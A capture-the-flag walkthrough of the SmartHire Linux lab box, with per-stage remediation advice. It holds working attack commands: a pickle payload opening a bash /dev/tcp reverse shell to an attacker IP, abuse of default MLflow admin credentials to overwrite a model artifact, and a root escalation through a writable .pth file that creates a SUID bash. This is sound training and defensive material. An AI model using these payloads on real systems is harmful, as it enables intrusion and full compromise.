← all walkthroughs

SmartHire

Linux· Medium
owned
2026-06-24
time to own
5m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Port 80 served two name-based virtual hosts: the SmartHire hiring app and an MLflow model registry. With an app session, I uploaded a hiring CSV to /upload_hiring_data, which trained and registered a model whose artifact is a Python pickle. MLflow accepted the factory-default admin login over HTTP basic auth, so I looked up that model's run and overwrote its python_model.pkl with a reverse-shell pickle.

Submitting a CSV to the session-gated /predict endpoint made the app deserialize it, giving a shell as svcweb. Svcweb could run a Python management script through sudo, and the script's plugins/dev directory was writable; a one-line .pth file there ran as root when the script started, and planted a SUID copy of bash.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for admin>"
export HEX_ID="<a-value-you-captured-earlier>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scan (Nmap)
Full port scan finds SSH and nginx
A full TCP version scan returned two services: OpenSSH 8.9p1 on 22 and nginx 1.18.0 on 80. All further work went through the web layer.
22/tcp ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15; 80/tcp http nginx 1.18.0 (Ubuntu)
Exact commands 1
shell

Full-port version scan.

$ nmap -Pn -n -sV --version-light -p- --min-rate 3000 $TARGET
2EnumerationVirtual-host enumeration
Two virtual hosts on port 80: the app and an MLflow registry
Port 80 served two name-based virtual hosts: smarthire.htb, a Flask-style hiring app whose dashboard trains models from uploaded CSVs and runs predictions, and models.smarthire.htb, an MLflow tracking and model-registry server exposing the 2.0 REST API. Both names go into /etc/hosts. Later requests send the name in a Host header to $TARGET, so they work either way.
smarthire.htb served /dashboard, /upload_hiring_data and /predict; models.smarthire.htb answered the MLflow /api/2.0 endpoints.
Exact commands 1
shell

Maps both virtual hosts to the target.

$ echo "$TARGET smarthire.htb models.smarthire.htb" | sudo tee -a /etc/hosts
FixRequire authentication on MLflow and restrict it to internal networksCritical
WeaknessThe MLflow model-registry server at models.smarthire.htb was reachable from outside on the same nginx front end and accepted the factory-default admin password, giving anyone full control of the registry, including overwriting model artifacts.
Fix1. Enable MLflow's built-in authentication (start the server with --app-name basic-auth and configure users/passwords in the MLflow auth DB). 2. Immediately rotate any default credentials; enforce a strong, unique password policy. 3. Bind MLflow exclusively to a loopback or internal-network interface; remove the public-facing virtual-host entry. 4. Apply firewall rules so only the application server's internal IP can reach the MLflow port. 5. Treat the model registry as a privileged internal service equivalent to a code repository — access should require the same controls.
3WeaponizationAbuse of the model-training workflow
Training a model through /upload_hiring_data mints a pickle artifact
The app gates /upload_hiring_data and /predict behind a login, so I first registered an account, logged in, and saved the session cookie to /tmp/sh126.cookies. POSTing a hiring CSV with the columns from the dashboard's format guide trained a model and registered it in MLflow. The response named the registered model and its version; that model's stored artifact is the pickle the app later loads.
{"message":"Model trained and registered successfully", ... "registered_model":"pwn-eb5a47f4aae1-model","version":"1"}
Exact commands 1
shell

Sends a two-row CSV as an authenticated user. Note the registered_model name in the reply.

$ printf 'name,skills,experience,education,position_applied,previous_company\nAlice,"Python,SQL",60,BS,Engineer,Acme\nBob,"Java,SQL",36,BS,Developer,Corp\n' | curl -sS -b /tmp/sh126.cookies -H 'Host: smarthire.htb' -F 'file=@-;filename=hiring.csv;type=text/csv' http://$TARGET/upload_hiring_data
FixReplace unsafe pickle deserialization with a signed, safe model formatCritical
WeaknessThe application called Python's pickle.load() on model files fetched from MLflow. Pickle is designed to rebuild arbitrary Python objects and can execute any OS command during deserialization. Any party that can write a model artifact — including an unauthorised user with registry access — can achieve remote code execution on the server that loads it.
Fix1. Switch to a safe, non-executable serialization format: ONNX for cross-framework portability, or framework-native formats (e.g., scikit-learn with joblib + content hashing, PyTorch state_dict). Never load pickle files from an untrusted or network-accessible source. 2. Cryptographically sign every model artifact at registration time (e.g., with a private key held only by the CI/CD pipeline) and verify the signature before loading. Reject artifacts with invalid or missing signatures. 3. Restrict the /upload_hiring_data endpoint to authenticated, authorized internal users only; do not allow anonymous or low-privilege callers to register model versions. 4. Run the prediction worker in an isolated container or sandbox with no outbound network access and read-only access to the filesystem outside its working directory.
4Credential AccessDefault credential abuse
MLflow default admin login locates the writable python_model.pkl
The MLflow server accepted HTTP basic auth as admin with the vendor's factory-default password. With it, I resolved the new model version to its run_id and artifact source (mlflow-artifacts:/0/<run_id>/artifacts/model), then listed the model directory, which held python_model.pkl, a 328-byte pickle.
model-versions/get returned the run_id and source mlflow-artifacts:/0/<run_id>/artifacts/model; artifacts/list showed model/python_model.pkl (328 bytes).
Exact commands 2
shell

Use the registered_model name from the training reply. The run_id in the output is $HEX_ID below.

$ curl -sS -u admin:$PASSWORD -H 'Host: models.smarthire.htb' "http://$TARGET/api/2.0/mlflow/model-versions/get?name=pwn-eb5a47f4aae1-model&version=1"
shell

Confirms python_model.pkl exists under model/.

$ curl -sS -u admin:$PASSWORD -H 'Host: models.smarthire.htb' "http://$TARGET/api/2.0/mlflow/artifacts/list?run_id=$HEX_ID&path=model"
5Initial AccessInsecure deserialization (CWE-502) via a poisoned model artifact
Overwriting python_model.pkl and calling /predict gives a shell as svcweb
MLflow models are pickles, and pickle runs whatever a class's __reduce__ returns when the file is loaded. I built a pickle whose __reduce__ calls os.system with a bash reverse shell, then used the authenticated MLflow artifact service to PUT it over the model's python_model.pkl, which returned HTTP 200. Submitting a CSV with experience and skills columns to /predict, with the same session cookie, made the app load the model, and the listener caught a shell as svcweb.
PUT returned HTTP 200; the shell reported uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs) in /var/www/smarthire.htb.
Exact commands 4
shell

Listener on the attacking host.

$ nc -lvnp 4444
shell

Writes a pickle that opens a reverse shell when loaded.

$ cat > /tmp/make_pickle.py <<PY
import pickle, os
class E:
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'",))
pickle.dump(E(), open('/tmp/python_model.pkl','wb'))
PY
shell

Replaces the model's pickle; expect HTTP 200.

$ python3 /tmp/make_pickle.py && curl -sS -u admin:$PASSWORD -X PUT -H 'Host: models.smarthire.htb' --upload-file /tmp/python_model.pkl -w '\nHTTP %{http_code}\n' "http://$TARGET/api/2.0/mlflow-artifacts/artifacts/0/$HEX_ID/artifacts/model/python_model.pkl"
shell

Authenticated prediction request; the app loads the poisoned model and the listener connects.

$ printf 'experience,skills\n60,"Python,SQL"\n' | curl --max-time 5 -sS -b /tmp/sh126.cookies -H 'Host: smarthire.htb' -F 'file=@-;filename=resume.csv;type=text/csv' http://$TARGET/predict
6Post-Exploitation DiscoverySudo and script review
User flag and the sudo-run mlflowctl.py script
From the svcweb shell I read user.txt from /home/svcweb and reviewed /opt/tools/mlflow_ctl/mlflowctl.py, a management script svcweb could run through sudo with /usr/bin/python3.10. The script loads plugins from /opt/tools/mlflow_ctl/plugins/dev, which put that directory on the import path of a root-owned Python process, and svcweb could write files into it.
/home/svcweb/user.txt held <user.txt>.
Exact commands 2
shell

Confirms the context and prints <user.txt>.

$ id; whoami; hostname; pwd; find /home -maxdepth 3 -name user.txt -type f -print -exec cat {} \; 2>/dev/null
shell

Read how the script handles its plugins/dev directory.

$ sed -n '1,240p' /opt/tools/mlflow_ctl/mlflowctl.py
FixRemove the unrestricted sudo rule for the Python management scriptCritical
WeaknessThe svcweb service account could run mlflowctl.py as root through sudo, and the script put a directory svcweb could write to on Python's import path. Python executes import lines in any .pth file there at startup, so this was equivalent to giving the web-service account a root shell.
Fix1. Remove the sudo entry for mlflowctl.py from /etc/sudoers entirely. If the administrative tasks it performs genuinely require elevated rights, rewrite them as a tightly scoped systemd service unit or a setuid C helper that accepts no user-controlled input. 2. If the sudo rule cannot be removed immediately, as an interim measure set the plugins/dev directory to be owned by root with no write permission for other users (chown root:root /opt/tools/mlflow_ctl/plugins/dev && chmod 755 /opt/tools/mlflow_ctl/plugins/dev). 3. Audit every directory that Python adds to sys.path when running under sudo or as a privileged user; ensure none are writable by unprivileged accounts. 4. Run a periodic audit of /etc/sudoers and alert on any NOPASSWD rule that grants execution of an interpreter (python, perl, ruby, node, etc.) or a script that imports from user-writable paths.
7Privilege EscalationPython .pth code execution on a writable sys.path under sudo
A .pth file in plugins/dev runs as root under sudo
At startup Python reads every .pth file in the directories on its import path and executes lines that begin with 'import'. Because plugins/dev was on that path and writable by svcweb, a one-line .pth file there ran as root as soon as the sudo invocation of mlflowctl.py started. The payload copied /bin/bash to /tmp/rootbash and set the SUID bit; running it with -p kept the root effective UID and read root.txt.
pwn_root.pth written as svcweb (77 bytes); /tmp/rootbash -rwsr-xr-x root root; id showed uid=1000(svcweb) euid=0(root).
Exact commands 5
shell

The import-prefixed line runs when Python processes the .pth.

$ printf "import os; os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')\n" > /opt/tools/mlflow_ctl/plugins/dev/pwn_root.pth
shell

Confirms the file landed.

$ ls -l /opt/tools/mlflow_ctl/plugins/dev/pwn_root.pth
shell

Any subcommand works; the .pth fires at interpreter startup, as root.

$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
shell

Expect -rwsr-xr-x root root.

$ ls -l /tmp/rootbash
shell

-p keeps euid=0; prints <root.txt>.

$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(svcweb) euid=0(root)

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.

Why it works

A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more